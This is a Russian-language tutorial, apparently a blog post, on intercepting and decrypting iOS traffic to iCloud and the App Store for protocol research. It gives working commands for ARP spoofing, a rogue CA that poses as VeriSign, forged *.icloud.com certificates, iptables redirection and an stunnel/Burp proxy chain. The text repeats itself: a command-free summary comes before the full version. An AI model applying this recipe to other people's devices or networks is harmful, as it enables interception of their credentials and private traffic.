Ниже представлено описание техники, с помощью которой можно расшифровать протоколы, по которым iOS общается с сервисами Apple (AppStore, iCloud, etc). Данная техника может быть полезна для понимания работы сервисов, и для исчерпывающего ответ на вопрос о том, какие данные Apple снимает с Вашего устройства.
Атака проводится в несколько этапов:
1 Сборка стенда.
2 Управление трафиком.
3 Генерация и установка самозваного CA.
4 Генерация фальшивых сертификатов для сервисов Apple и подпись их самозваным CA.
5 Проведение атаки MITM с использованием полученных сертификатов
Компьютер атакующего и устройство apple помещаются в одну L2 (802.11) сеть. Далее, устройства вводятся в одну L3 подсеть, например 192.168.1.0/24. Для подсети должна быть настроена маршрутизация в интернет. Атакующему для нападения удобней всего будет использовать Linux.
Атакующий, генерируя специально сформированные ARP пакеты, добивается того, что его MAC адрес на атакуемом устройстве ассоциируется со шлюзом сети, а для шлюза, атакующий, по такому же принципу, становится атакуемым устройством. В итоге, весь трафик в обе стороны между шлюзом и атакуемым устройством проходит через компьютер атакующего(есть 100500 способов достижения такого состояния, arpspoof, наверное, самый простой, если нет контроля над шлюзом). Для успешной работы в таком состоянии нужно разрешить пересылку пакетов в компьютере атакующего, делается это
для спуфинга используется старый и надёжный arpspoof:
Проверить успешность перехвата трафика можно через wireshark, задав фильтры по ip атакуемого(поскольку wireshark при пересылке будет видеть дважды один пакет, он будет их метить страшным цветом и ругаться на ретрансмиты, но их можно отфильтровать)
Тут необходимо теоретическое отступление, так как перед тем, как решение стало очевидным пришлось поэкспериментировать. Все штатные процедуры аутентификации(пароли, сертификаты от почты, wifi и тд) в iOS проходят через демон securityd, который запускается каждый раз, когда необходимо пройти процедуру аутентификации. Все данные(аутентификационные секреты и пр), которые использует демон, хранятся в sqlite базе (keychain-2.db), которая на моём брякнутом ipad со старой прошивкой находится в:
Так как при подключении iphone к icloud или appstore происходит аутентификация сервера по сертификату, то было сперва не понятно, почему аутентификация проходит успешно, даже при условии зачищенного или удалённого хранилища. Дальнейшие исследования показали, что некоторые CA, включая CA VeriSign (которым удостоверены сертификаты серверов Appple), были зашиты прямо в исполняемый файл securityd, откуда, они, по-видимому, и брались для процедуры аутентификации сервера при подключении к AppStore.
Штатные инструменты работы с CA в iphone устроена так, что пользователь может добавлять в iphone свои CA, которые, по-видимому, должны помогать аутентифицировать какие-либо пользовательские системы. Однако, механизм работает так, что нам ничто не мешает установить в iphone наш «самозваный» CA, которым будут удостоверены сгенерированные нами же фальшивые сертификаты для *.itunes.apple.com и *.icloud.com (почему Apple такое допускает – отдельный вопрос). Что примечательно, эта процедура штатная и никаких джейлбрейков не требует.
Я генерировал CA так:
Получившийся cacert.pem можно отправить на iphone, как приложение к почте, установка возможна прямо из письма.
Производится в 2 этапа: сперва генерируем запрос, затем подписываем его нашим CA:
После того, как мы пропустили трафик через себя и проделали всё описанное с сертификатами, нам необходимо перехватывать все подключения к интересующим нас сервисам и пропускать их через нашу конструкцию. Можно делать это тупым и надёжным способом: перехватывая все соединения на 443 порт:
Так все соединения на 443 с iphone, будут переброшены на некую сущность, которая будет локально слушать на 8443 порту. В моём случае это был stunnel со следующим конфигом:
Как видно из этого конфига, чтоб цепь замкнулась, необходим проксик с 9000 > 9500, через который трафик будет проходить в открытом виде, я для этого использую Burp:
Всё, теперь вы можете изучать протоколы Apple и, наконец, узнать какие тайны Вашей личности прямиком улетают в тёмные подвалы Купертино =)
Атака проводится в несколько этапов:
1 Сборка стенда.
2 Управление трафиком.
3 Генерация и установка самозваного CA.
4 Генерация фальшивых сертификатов для сервисов Apple и подпись их самозваным CA.
5 Проведение атаки MITM с использованием полученных сертификатов
1. Сборка стенда
Компьютер атакующего и устройство apple помещаются в одну L2 (802.11) сеть. Далее, устройства вводятся в одну L3 подсеть, например 192.168.1.0/24. Для подсети должна быть настроена маршрутизация в интернет. Атакующему для нападения удобней всего будет использовать Linux.
2. Управление трафиком
Атакующий, генерируя специально сформированные ARP пакеты, добивается того, что его MAC адрес на атакуемом устройстве ассоциируется со шлюзом сети, а для шлюза, атакующий, по такому же принципу, становится атакуемым устройством. В итоге, весь трафик в обе стороны между шлюзом и атакуемым устройством проходит через компьютер атакующего(есть 100500 способов достижения такого состояния, arpspoof, наверное, самый простой, если нет контроля над шлюзом). Для успешной работы в таком состоянии нужно разрешить пересылку пакетов в компьютере атакующего, делается это
sysctl -w net.ipv4.ip_forward=1
#или
echo 1 > /proc/sys/net/ipv4/ip_forward
для спуфинга используется старый и надёжный arpspoof:
#192.168.1.101 - iphone
#192.168.1.101 - шлюз
arpspoof -i wlan0 -t 192.168.1.101 192.168.1.1
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.101
#Команды должны выполняться параллельноПроверить успешность перехвата трафика можно через wireshark, задав фильтры по ip атакуемого(поскольку wireshark при пересылке будет видеть дважды один пакет, он будет их метить страшным цветом и ругаться на ретрансмиты, но их можно отфильтровать)
3. Генерация самозваного CA
Тут необходимо теоретическое отступление, так как перед тем, как решение стало очевидным пришлось поэкспериментировать. Все штатные процедуры аутентификации(пароли, сертификаты от почты, wifi и тд) в iOS проходят через демон securityd, который запускается каждый раз, когда необходимо пройти процедуру аутентификации. Все данные(аутентификационные секреты и пр), которые использует демон, хранятся в sqlite базе (keychain-2.db), которая на моём брякнутом ipad со старой прошивкой находится в:
iPad:/private/var/Keychains root# uname -a
Darwin iPad 10.4.0 Darwin Kernel Version 10.4.0: Wed Oct 20 20:14:45 PDT 2010; root:xnu-1504.58.28~3/RELEASE_ARM_S5L8930X iPad1,1 arm K48AP Darwin
iPad:/private/var/Keychains root# pwd
/private/var/Keychains
iPad:/private/var/Keychains root# ls -liahs keychain-2.db
147473 112K -rw------- 1 _securityd wheel 112K Dec 19 00:11 keychain-2.db
(как показал печальный опыт, правильные права на этом файле критически важны)
Подробнее о том, как данные организованы в базе, можно прочитать здесь.
Так как при подключении iphone к icloud или appstore происходит аутентификация сервера по сертификату, то было сперва не понятно, почему аутентификация проходит успешно, даже при условии зачищенного или удалённого хранилища. Дальнейшие исследования показали, что некоторые CA, включая CA VeriSign (которым удостоверены сертификаты серверов Appple), были зашиты прямо в исполняемый файл securityd, откуда, они, по-видимому, и брались для процедуры аутентификации сервера при подключении к AppStore.
Штатные инструменты работы с CA в iphone устроена так, что пользователь может добавлять в iphone свои CA, которые, по-видимому, должны помогать аутентифицировать какие-либо пользовательские системы. Однако, механизм работает так, что нам ничто не мешает установить в iphone наш «самозваный» CA, которым будут удостоверены сгенерированные нами же фальшивые сертификаты для *.itunes.apple.com и *.icloud.com (почему Apple такое допускает – отдельный вопрос). Что примечательно, эта процедура штатная и никаких джейлбрейков не требует.
Я генерировал CA так:
[20:36:02 dev@sandbox:~/CA]$openssl req -new -x509 -days 3650 -extensions v3_ca -keyout private/cakey.pem -out cacert.pem
Generating a 1024 bit RSA private key
.........................................................................++++++
.........................................++++++
writing new private key to 'private/cakey.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:VeriSign
Locality Name (eg, city) []:VeriSign Trust Network
Organization Name (eg, company) [Internet Widgits Pty Ltd]:VeriSign Inc
Organizational Unit Name (eg, section) []:Terms of use at www.verisign.com/rpa (c)09
Common Name (eg, YOUR name) []:VeriSign Class 3 Secure Server CA - G2
Email Address []:
Получившийся cacert.pem можно отправить на iphone, как приложение к почте, установка возможна прямо из письма.
4. Генерация фальшивых сертификатов для сервисов Apple
Производится в 2 этапа: сперва генерируем запрос, затем подписываем его нашим CA:
[21:10:52 dev@sandbox:~/CA]$openssl req -new -nodes -out my_icloud_apple_req.pem -keyout my_icloud_apple_key.pem
Generating a 1024 bit RSA private key
......++++++
.++++++
writing new private key to 'my_icloud_apple_key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:california
Locality Name (eg, city) []:cupertino
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Apple Inc
Organizational Unit Name (eg, section) []:iTMS
Common Name (eg, YOUR name) []:*.icloud.com
Email Address []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
[22:42:33 dev@sandbox:~/CA]$openssl x509 -req -days 365 -in my_icloud_apple_req.pem -CA cacert.pem -CAkey private/cakey.pem -set_serial 01 -out my_icloud_apple_cert.pem
Signature ok
subject=/C=US/ST=california/L=cupertino/O=Apple Inc/OU=iTMS/CN=*.icloud.com
Getting CA Private Key
Enter pass phrase for private/cakey.pem:
[22:44:20 dev@sandbox:~/CA]$
#для appstore делается так же
5. Проведение атаки MITM с использованием полученных сертификатов
После того, как мы пропустили трафик через себя и проделали всё описанное с сертификатами, нам необходимо перехватывать все подключения к интересующим нас сервисам и пропускать их через нашу конструкцию. Можно делать это тупым и надёжным способом: перехватывая все соединения на 443 порт:
iptables -A FORWARD -j ACCEPT
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8443
Так все соединения на 443 с iphone, будут переброшены на некую сущность, которая будет локально слушать на 8443 порту. В моём случае это был stunnel со следующим конфигом:
; PID is created inside the chroot jail
pid = /stunnel.pid
; Debugging stuff (may useful for troubleshooting)
debug = 7
output = /var/log/stunnel.log
; То что мы выше нагенерили
cert = /home/dev/CA/my_icloud_apple_cert.pem
key = /home/dev/CA/my_icloud_apple_key.pem
; Disable support for insecure SSLv2 protocol
options = NO_SSLv2
;Всё по https пришедшее на 8443 будет отправлено в открытом виде на 9000
[https_s]
accept = 0.0.0.0:8443
connect = 0.0.0.0:9000
;Всё пришедшее на 9500 в открытом виде, будет завёрнуто в https и отправлено на сервер icloud
[https_c]
client = yes
accept = 0.0.0.0:9500
connect = 17.172.208.53:443
Как видно из этого конфига, чтоб цепь замкнулась, необходим проксик с 9000 > 9500, через который трафик будет проходить в открытом виде, я для этого использую Burp:
Всё, теперь вы можете изучать протоколы Apple и, наконец, узнать какие тайны Вашей личности прямиком улетают в тёмные подвалы Купертино =)
